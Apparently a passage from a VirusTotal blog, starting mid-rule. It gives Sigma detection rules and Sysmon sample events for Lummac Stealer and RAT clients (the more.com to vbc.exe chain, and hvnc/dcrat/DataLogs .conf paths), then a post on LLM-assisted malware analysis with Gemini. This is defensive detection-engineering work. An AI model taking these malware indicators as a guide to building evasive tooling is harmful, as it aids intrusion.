      - https://strontic.github.io/xcyclopedia/library/more.com-EDB3046610020EE614B5B81B0439895E.html
      - https://strontic.github.io/xcyclopedia/library/vbc.exe-A731372E6F6978CE25617AE01B143351.html
  author: Joseliyo Sanchez, @Joseliyo_Jstnk
  date: 2024-11-14
  tags:
      - attack.defense-evasion
      - attack.t1055
  logsource:
      category: process_creation
      product: windows
  detection:
      # VT Query: behaviour_processes:"C:\\Windows\\SysWOW64\\more.com" behaviour_processes:"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\vbc.exe"
      selection_parent:
          ParentImage|endswith: '\more.com'
      selection_child:
          - Image|endswith: '\vbc.exe'
          - OriginalFileName: 'vbc.exe'
      condition: all of selection_*
  falsepositives:
      - Unknown
  level: high

Sysmon event for: Detect The Execution Of More.com And Vbc.exe Related to Lummac Stealer

{
  "System": {
    "Provider": {
      "Guid": "{5770385F-C22A-43E0-BF4C-06F5698FFBD9}",
      "Name": "Microsoft-Windows-Sysmon"
    },
    "EventID": 1,
    "Version": 5,
    "Level": 4,
    "Task": 1,
    "Opcode": 0,
    "Keywords": "0x8000000000000000",
    "TimeCreated": {
      "SystemTime": "2024-11-26T16:23:05.132539500Z"
    },
    "EventRecordID": 692861,
    "Correlation": {},
    "Execution": {
      "ProcessID": 2396,
      "ThreadID": 3116
    },
    "Channel": "Microsoft-Windows-Sysmon/Operational",
    "Computer": "DESKTOP-B0T93D6",
    "Security": {
      "UserID": "S-1-5-18"
    }
  },
  "EventData": {
    "RuleName": "-",
    "UtcTime": "2024-11-26 16:23:05.064",
    "ProcessGuid": "{C784477D-F5E9-6745-6006-000000003F00}",
    "ProcessId": 4184,
    "Image": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\vbc.exe",
    "FileVersion": "14.8.3761.0",
    "Description": "Visual Basic Command Line Compiler",
    "Product": "Microsoft® .NET Framework",
    "Company": "Microsoft Corporation",
    "OriginalFileName": "vbc.exe",
    "CommandLine": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\vbc.exe",
    "CurrentDirectory": "C:\\Users\\george\\AppData\\Roaming\\comlocal\\RUYCLAXYVMFJ\\",
    "User": "DESKTOP-B0T93D6\\george",
    "LogonGuid": "{C784477D-9D9B-66FF-6E87-050000000000}",
    "LogonId": "0x5876e",
    "TerminalSessionId": 1,
    "IntegrityLevel": "High",
    "Hashes": {
      "SHA1": "61F4D9A9EE38DBC72E840B3624520CF31A3A8653",
      "MD5": "FCCB961AE76D9E600A558D2D0225ED43",
      "SHA256": "466876F453563A272ADB5D568670ECA98D805E7ECAA5A2E18C92B6D3C947DF93",
      "IMPHASH": "1460E2E6D7F8ECA4240B7C78FA619D15"
    },
    "ParentProcessGuid": "{C784477D-F5D4-6745-5E06-000000003F00}",
    "ParentProcessId": 6572,
    "ParentImage": "C:\\Windows\\SysWOW64\\more.com",
    "ParentCommandLine": "C:\\Windows\\SysWOW64\\more.com",
    "ParentUser": "DESKTOP-B0T93D6\\george"
  }
} 

File Creation Related To RAT Clients

title: File Creation Related To RAT Clients
  id: 2f3039c8-e8fe-43a9-b5cf-dcd424a2522d
  status: experimental
  description: File .conf created related to VenomRAT, AsyncRAT and Lummac samples observed in the wild.
  references:
      - https://www.virustotal.com/gui/file/c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761
      - https://www.virustotal.com/gui/file/e96a0c1bc5f720d7f0a53f72e5bb424163c943c24a437b1065957a79f5872675
  author: Joseliyo Sanchez, @Joseliyo_Jstnk
  date: 2024-11-15
  tags:
      - attack.execution
  logsource:
      category: file_event
      product: windows
  detection:
      # VT Query: behaviour_files:"\\AppData\\Roaming\\DataLogs\\DataLogs.conf"
      # VT Query: behaviour_files:"DataLogs.conf" or behaviour_files:"hvnc.conf" or behaviour_files:"dcrat.conf"
      selection_required:
          TargetFilename|contains: '\AppData\Roaming\'
      selection_variants:
          TargetFilename|endswith:
              - '\datalogs.conf'
              - '\hvnc.conf'
              - '\dcrat.conf'
          TargetFilename|contains:
              - '\mydata\'
              - '\datalogs\'
              - '\hvnc\'
              - '\dcrat\'
      condition: all of selection_*
  falsepositives:
      - Legitimate software creating a file with the same name
  level: high

Sysmon event for: File Creation Related To RAT Clients

{
  "System": {
    "Provider": {
      "Guid": "{5770385F-C22A-43E0-BF4C-06F5698FFBD9}",
      "Name": "Microsoft-Windows-Sysmon"
    },
    "EventID": 11,
    "Version": 2,
    "Level": 4,
    "Task": 11,
    "Opcode": 0,
    "Keywords": "0x8000000000000000",
    "TimeCreated": {
      "SystemTime": "2024-12-02T00:52:23.072811600Z"
    },
    "EventRecordID": 1555690,
    "Correlation": {},
    "Execution": {
      "ProcessID": 2624,
      "ThreadID": 3112
    },
    "Channel": "Microsoft-Windows-Sysmon/Operational",
    "Computer": "DESKTOP-B0T93D6",
    "Security": {
      "UserID": "S-1-5-18"
    }
  },
  "EventData": {
    "RuleName": "-",
    "UtcTime": "2024-12-02 00:52:23.059",
    "ProcessGuid": "{C784477D-04C6-674D-5C06-000000004B00}",
    "ProcessId": 7592,
    "Image": "C:\\Users\\george\\Desktop\\ezzz.exe",
    "TargetFilename": "C:\\Users\\george\\AppData\\Roaming\\MyData\\DataLogs.conf",
    "CreationUtcTime": "2024-12-02 00:52:23.059",
    "User": "DESKTOP-B0T93D6\\george"
  }

Wrapping up

Detection engineering teams can proactively create new detections by hunting for samples that are being distributed and uploaded to our platform. Applying our approach can benefit in the development of detection on the latest behaviors that do not currently have developed detection mechanisms. This could potentially help organizations be proactive in creating detections based on threat hunting missions.
The Sigma rules created to detect Lummac activity have been used during threat hunting missions to identify new samples of this family in VirusTotal. Another use is translating them into the language of the SIEM or EDR available in the infrastructure, as they could help identify potential behaviors related to Lummac samples observed in late 2024. After passing quality controls and being published on Sigma’s public GitHub, they have been integrated for use in VirusTotal, delivering the expected results. You can use them in the following way:
Lummac Stealer Activity – Execution Of More.com And Vbc.exe

sigma_rule:a1021d4086a92fd3782417a54fa5c5141d1e75c8afc9e73dc6e71ef9e1ae2e9c

File Creation Related To RAT Clients

sigma_rule:8f179585d5c1249ab1ef8cec45a16d112a53f91d143aa2b0b6713602b1d19252

We hope you found this blog interesting and useful, and as always we are happy to hear your feedback.

Continue reading Research that builds detections→

Leveraging LLMs for Malware Analysis: Insights and Future Directions

By Gerardo Fernández, Joseliyo Sánchez and Vicente Díaz
Malware analysis is (probably) the most expert-demanding and time-consuming activity for any security professional. Unfortunately automation for static analysis has always been challenging for the security industry. The sheer volume and complexity of malicious code necessitate innovative approaches for efficient and effective analysis. At VirusTotal, we’ve been exploring the potential of Large Language Models (LLMs) to revolutionize malware analysis. We started this path last April 2023 by automatically analyzing malicious scripts, and since then, we evolved our model to analyze Windows executable files. In this post, we want to share part of our current research and findings, as well as discuss future directions in this challenging approach.

Our approach

As a parallel development to the architecture described in our previous post, we wanted to better understand what are the strengths and limitations of LLMs when analyzing PE files. Our initial approach using memory dumps from sandbox detonation and backscatter for additional deobfuscation capabilities (which will likely be the biggest challenge for the analysis) sounds like a great approach, however rebuilding binaries from memory dumps has its own problems and all this process takes additional time and computational resources – maybe it won’t be necessary for every sample! Thus, the importance of understanding what LLMs can and can’t do when faced with a decompiled (or disassembled) binary.
We also want to consider additional tools we might use to provide the LLMs with additional context, including our sandbox analysis. For decompilation we will be using Hex-Rays IDA Pro most of the time, however our approach will be using a “decision tree” to optimize what tools, prompts and additional context to use in every case.
Our LLM of choice will be Gemini 1.5. The extended token capabilities is what in essence allows us to analyze decompiled and disassembled code, as well as providing additional context on top of any prompt we use.

Malware analysis

To get some understanding of the malware analysis capabilities of Gemini, we used a set of samples for different representative malware families. We used backscatter to determine the malware family every sample belonged to, and we chose only malicious samples for this part of the experiment. When the LLM was asked if the samples were malicious, these are the results per family:

Results per family
The global result is that LLMs agreed on maliciousness 84% of the time, couldn’t determine (unknown) 12%, and provided a False Negative 4%.
It is interesting to note how results greatly vary amongst families, however this was suspected as different malware uses different obfuscation/packing/encryption methods. For instance, Nanocore uses AutoIT to build their binaries, something that the LLM is not ready to deal with natively. This is a good example of how we build our decision tree – if AutoIT is detected, we definitely will need to unpack first.
One of the biggest advantages of LLMs is that they can provide a full explanation of the reasoning behind a verdict. For “unknown” maliciousness, it is interesting to note that the analysis included several red flags detected by the LLM, however they were not enough to go for a “malicious” verdict. We believe this can also be fine tuned with better prompting, adjusting temperature and further training.
We also found illustrative examples during our analysis. For instance, for some njRAT samples, the LLM returned some IOCs, as seen in the image below:

Information returned by the LLM
Interestingly, they are provided “right to left”. We also believe that we can improve mechanisms to double check IOCs, for instance through the use of API Function Calls to VirusTotal.
In best case scenario, like when analyzing some Mirai samples, the output from the LLM will provide all details, including all the commands accepted by the malware:

Output related to Mirai

Consistent Output

Given LLMs are non deterministic, one of the difficulties in analyzing LLM output is providing consistent results. We found this specially relevant in some families, being Qakbot one example: when the LLM cannot analyze parts of the code given to obfuscation/encryption, it naturally focuses on the rest, meaning that the output describing the capabilities varies drastically between samples. Although this is understandable and solvable through the decision tree to provide the LLM with a more consistent input, we also would like to explore how we can get a more consistent output.
We explored what we initially thought would be a good idea: asking Gemini to provide its output using CAPA ontology. This would provide a reasonable answer from the LLM by standardizing its output using a series of well defined capabilities, as well as allow us to compare results with our sandbox output, which would allow us to double-check the integrity of LLM’s results.
This idea, unfortunately, didn’t work as expected. There are many capabilities that are easy to detect dynamically in execution but difficult to identify statically and vice versa. Additionally, CAPA’s output is based on a series of rules (similar to YARA), which don’t necessarily work consistently for every single capability.

Prompt evolution

This was one of the key points during our research. We’ve experimented with various prompt engineering techniques to improve the accuracy and comprehensiveness of LLM-generated analysis reports, increasingly adding additional context to the LLM. As we progressed in the investigation, we started providing dynamic execution details along with the decompiled code, providing way better results: at the end of the day, this allows us to combine both dynamic and static analysis.
Encouraged with the good results, we added more context information from what we knew about the sample in VirusTotal: details on related IOCs, configuration extracted from the samples, etc. For example, if the analyzed sample drops another file during execution, we can provide the full VirusTotal report of said dropped. This can help disambiguate situations where other security tools hesitate if the sample is a legitimate installer or drops malware, which is of great relevance. However, we also discovered that we need to be very cautious about the information we provide in the prompt, as this might lead to the LLM biasing its analysis based on it. For instance, if *seems* it might give more weight to some details provided in the prompt that could affect its analysis of the code.
We found that a good solution to both provide all the needed details to the LLM without biasing its answer was using Gemini’s function calling, which allows Gemini to dynamically request context data as needed using API calls to VirusTotal.

Conclusion

Our ongoing research into LLM-powered malware analysis has yielded promising results, demonstrating the potential of this technology to transform the way we detect and respond to threats. While challenges remain, we’re confident that continued advancements in LLMs, our understanding of their capabilities and our improvement in our analysis decision tree will lead to even more effective and efficient malware analysis solutions.
Importantly, we believe that LLM analysis is not intended to replace human reverse engineers anyhow, but rather to augment their capabilities. By automating routine tasks and providing valuable insights, LLMs can empower analysts to focus on more complex and critical aspects of malware analysis, ultimately enhancing our collective ability to combat cyber threats. In addition, LLM capabilities can be of great help for most security practitioners without the in-depth knowledge necessary for reverse engineering or without the need of getting a profound understanding of every single aspect of the malware analyzed.
We’re committed to sharing our findings with the security community and collaborating with researchers and practitioners to further advance the field of LLM-driven malware analysis. As we continue to explore the possibilities of this exciting technology, we’re optimistic about the future of AI-powered malware analysis.

Continue reading Leveraging LLMs for Malware Analysis: Insights and Future Directions→